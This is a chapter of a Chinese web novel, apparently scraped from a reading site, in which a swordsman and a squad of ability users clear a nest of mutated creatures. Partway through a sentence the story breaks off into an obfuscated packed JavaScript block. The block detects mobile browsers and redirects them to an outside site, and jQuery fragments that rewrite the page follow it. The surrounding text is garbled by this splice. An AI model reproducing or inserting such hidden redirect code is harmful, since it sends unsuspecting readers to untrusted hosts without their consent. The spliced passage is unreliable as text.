“这才刚进来多久……就B级了?”
后面一个第一次进零号区的技术员忍不住低呼。
要知道在外面,一个B级的异种巢穴已经足够让大多数人束手无策了。
陆希屈起手指,将唐刀稍稍顶出一截,眯起眼眸,意味不明道:“是啊,一直被困在这种地方,又不及时摧毁消灭,难不成你还指望就这么硬困,能把它们困死?只会越养越凶残罢了。”
在这一点上,莫云肆的观点与他不谋而合。
只是可惜,联邦的党派错综复杂,哪怕他们清剿派一直是主流,也总会因为各种各样的阻力拖慢脚步,根本身不由己。
排出脑中杂念,莫云肆视线重新落到陆希身上,自上而下,语调扬起:“跟我比?这么有信心?”
陆希龇了龇牙:“信心不好说,但能有机会跟世界第一较量一番,我还挺期待的。”
早在知道跟蜂巢交易的军方主导者是血刃后,他就开始手痒了。
“你没有异能,如果我用异能的话,是不是太欺负人了?”莫云肆半真半假地试探。
陆希回以一笑:“长官可不要太小瞧我了。”
一旁的乔初苓早就蠢蠢欲动了,见这俩领头的耐心颇好地打机锋,赤红的瞳孔差点儿化成火焰跳出来,硬挤到俩人中间:“你们不用异能我用好吧,再墨迹我把你们的人头都抢了。”
莫云肆无语地拍了下乔初苓头盔,把人从两人中间拍出去,转身下达指令:“前方B级异种巢穴,血刃随我去清剿,其余人,防御阵型,原地待命。”
军令如山,哪怕再不服血刃的安东尼此时也老老实实,着人警戒。
陆希与莫云肆对视一眼,一起向前走去。
转过街角,入目的是一栋巨大建筑,如今已经面目全非,辨不出原本的模样。
越往前走,一直弥散在空气中的腐臭气息便愈发浓郁,然而所有人都神色不变,对此早就习以为常。
曲洛书双眼像是蒙上一层浅蓝的光膜,须臾,低声汇报:“是小型的B级巢穴,共23只,两只B级在地下一层,剩下的地下一层有8只,6只在一层,7只在二层,分别分布在……”
“老规矩,林夏跟我去地下,洛书青则和阿苓——”莫云肆习惯性说到一半顿了顿,转头征询陆希的意见,“你打算跟谁一组,去哪层?”
他们毕竟是第一次合作,根本没有默契可言,必须在行动前就将所有计划制定妥当。
陆希双手抱刀斜靠着墙,闲适得像是去郊游,闻言抬手拉了拉防护面罩:“你问我意见啊?那我选择一个人去地下一层,上面你们分。或者我进去,你们在外面捡个漏补个刀。”
血刃五人:“……”
这家伙真的是个没异能的普通人吗?
跟莫云肆认识最久的曲洛书和孟青则同时冒出一个念头:
好家伙,这简直比当初年少轻狂时候的队长还要狂。
莫云肆似笑非笑:“陆同学,一个人吃独食可不好。”
陆希耸肩:“毕竟只是一个小型B级巢穴。我知道你们要拿它当磨刀石,培养一些默契度,但也没必要这么墨迹吧。”
出人意料的是,这次是一向沉默寡言的孟青则率先开了口,有些磕绊但显而易见的认真:“陆、陆同学,有一句话叫,狮子搏兔,亦用全力,这是,为我们所有人的生命安全负责。”
孟青则说完,陆希罕见地沉默了几秒钟。
醒来后的这五年,他大多数时间都是独自一人,没有负担,无需肩负责任,于是浪得飞起,愈发放飞自我,越来越靠近暗势力不怕死不要命的作风,几乎都忘了这个道理了。
他忽得轻笑一声:“你说的对,那我们两人一组,一人一层好了。只是……”
陆希看向莫云肆,态度坚决:“我要去地下一层。”
最危险的地方,他不习惯交给他人掌控。
莫云肆深深看了他一眼,这一次没有争:“好,其他四人会尽快清理,下去支援。”
林夏紧跟着开口:“那我跟你下去,我是奶,光系异能,擅长精神方面的安抚治愈,肉.体的治愈能力也不错。”
陆希点头表示记下。
渐渐靠近建筑,陆希和林夏脱离队伍,从外面一个单独的直梯入口直奔地下一层。
莫云肆和孟青则、曲洛书和乔初苓则以更快的速度冲向自己的目标。
***
通往地下的直梯空间一片恶臭,覆满了异种的黏液、排泄物等秽物。
这些等级低又种类普通的异种没有筑巢能力,只能依托现有的建筑或洞穴,然后抹上一堆分泌物,既是标记领地,也是遮挡光线创造适合的居住环境。
林夏跟着陆希一路向下,心里忍不住惴惴不安。
身边这个可是被副队和青则亲自盖章的普通人,要论身体素质和对污染的抗性,他一个奶都比他强。
虽然这家伙有时候说话忒气人了点儿,但毕竟没啥深仇大恨,到时候,到时候……
哪怕他挡在前面当肉盾,也得坚持拖到队长他们赶来支援。
这厢林夏还在各种设想,深觉肩负着保护队友的沉沉重担,责任深重,那边陆希已经和守在入口的第一只异种对上,毫不犹豫地抽刀动手。
属于异种被惊醒的嘶吼声传来,林夏吓了一跳,匆忙回过神,映入眼帘的便是陆希嚣张地和异种硬刚的土匪模样,完全将行动前所说的“能偷袭就偷袭,越晚将异种惊醒越好”抛在脑后。
门口把守的是这里最低等的D级异种,已经异化得看不出半点人形。
眼睛的位置被肉膜取代,耳朵扭曲撑大,被一层角质覆盖保护,蒲扇似得灵活扇动着,骨头畸化变形,将身躯拉高到三米多,下肢粗壮,上肢则又细又长,全身满是鼓起的肉瘤,仿佛是被里面的液体撑到半透明,稍有不慎将其戳破,便会有大量剧毒的腐蚀性液体溅射出来。
异种佝偻着身躯,探出嘴外的獠牙淌着涎液,满是被吵醒的不爽和久违得遇到美味食物的兴奋,低吼着冲上去。
模样骇人的怪物和容貌昳丽的人类青年碰撞到一起,显现出一种扭曲的美感。
林夏惊得一个激灵,浅金色的光芒在周身围绕,忙要上前当人肉盾牌,却被眼前的情景惊怔在原地。
率先映在视网膜上的是一只手,黑色的手套紧覆住手掌,露在外面的一半手指则白皙修长,白与黑的界限异常分明,带出冲突感十足的美感。
那只手扣住刀柄,拔出唐刀,冰冷的刀刃仿佛能倒映出青年和异种的半张面孔。
他像是算计好的一样侧身,刚好避过两条树藤般缠绕袭来的肢体,旋即屈膝跳跃,军靴踩在异种成蹼状的爪子上。
那爪子向上扬,青年便顺势跃起腾空,好像
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234807|181828||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怪物是专门把爪子送上门给他借力的一般。
青年飞跃在半空,顺着下坠的力道,唐刀斜斜向下挥去,划出一道完美的弧度。
刚刚好,避过身前鼓动的肉瘤、后脊突起的骨刺、以及保护头部的坚硬角质层,沿着中间一道极细的脆弱肉层,狠狠斩下,枭首。
异种甚至没来得及发出最后一声惨呼,头便咕噜咕噜滚出去老远,而青年落下时踩在它后背的骨刺上借了下力,落到不远处的干净位置,没让血迹溅到一星半点。
林夏:“!!!”
妈妈他现在转行去学刀来不来得及,这个好像可以耍帅!
开张第一刀,陆希找到点状态,转了转刀。
里面在白日沉睡的异种们早已被这极尽闹腾的动静吵醒,纷纷冲了出来,陆希索性也不进去了,就蹲在门口,开门迎宾。
短短两分钟,林夏觉得自己就是跟下来当吉祥物的。
虽然下面的这8只小怪都只是D级,但也不至于跟砍瓜切菜一样吧?
陆希别说一对一,一对多都不带怂的,就守着门,来一个砍一个,一刀一个小异种,没放出一个到他的十米范围内。
甚至最后两个异种因为鱼贯而出,陆希索性将唐刀扔了出去,长刀携着一股巨大的冲击力直直刺穿前面一只异种的咽喉,然后拖着那坨躯体向后,刺进后面异种的喉咙。
随后,陆希才不紧不慢地上前,抬手扣住刀柄,轻轻松松将刀拔出,轻轻一抖,各种血迹肉碎掉落,重新变得干干净净。
陆希清理完,转头,见林夏还傻愣着站在原地的模样,挑了挑眉,突然开口问道:“帅吗?”
原本两米八的气场瞬间垮得稀碎。
林夏:“……”
哥你要是不加这句的话,那真挺帅的。
迅速清理完小喽啰,两人这才往里而去,没走多久,迎面撞上出来探查的两个异种。
都是B级,正是这个巢穴的最高战力。
陆希视线从两个异种身上扫过。
一个全身裹满了坚硬的角质,另一个高大得几乎要顶上天花板,四肢异常粗壮发达。
一个防御型一个力量型。
还行。
***
地面上。
上面两层各有三个C级异种,算是普通D级异种的全面进化版。
不过血刃往日的任务里,最简单也是和中型的A级巢穴打交道,这种新手级难度很快就解决干净。
监测手环和曲洛书的精神探测都没显示队友出现危急状况,更何况林夏即使只是个奶辅,解决A级以下的异种也轻轻松松。
于是楼上四人会和后,默契地等了几分钟,才往地下一层而去。
刚循着定位找到人,莫云肆等人便看到偌大的地下大厅里,横躺着两个安详的无头尸体。
而他们的队友,一个显然成了小尾巴,绕着另一个转来转去,另一个……
另一个土匪头子一样坐在张被腐蚀得坑坑洼洼的石桌上,一脚踩着个异种头颅,一脚曲起踩在桌面上,手肘撑着膝盖,手掌摊开,正专心致志地低头数糖。
两个草莓味的,两个柠檬味的,三个菠萝味的,四个葡萄味的……
察觉到有人来,他收拢掌心将糖塞进口袋里,只留下一个葡萄味的,一边剥糖纸一边抬头,毫不见外地敷衍招呼了声:“来了。”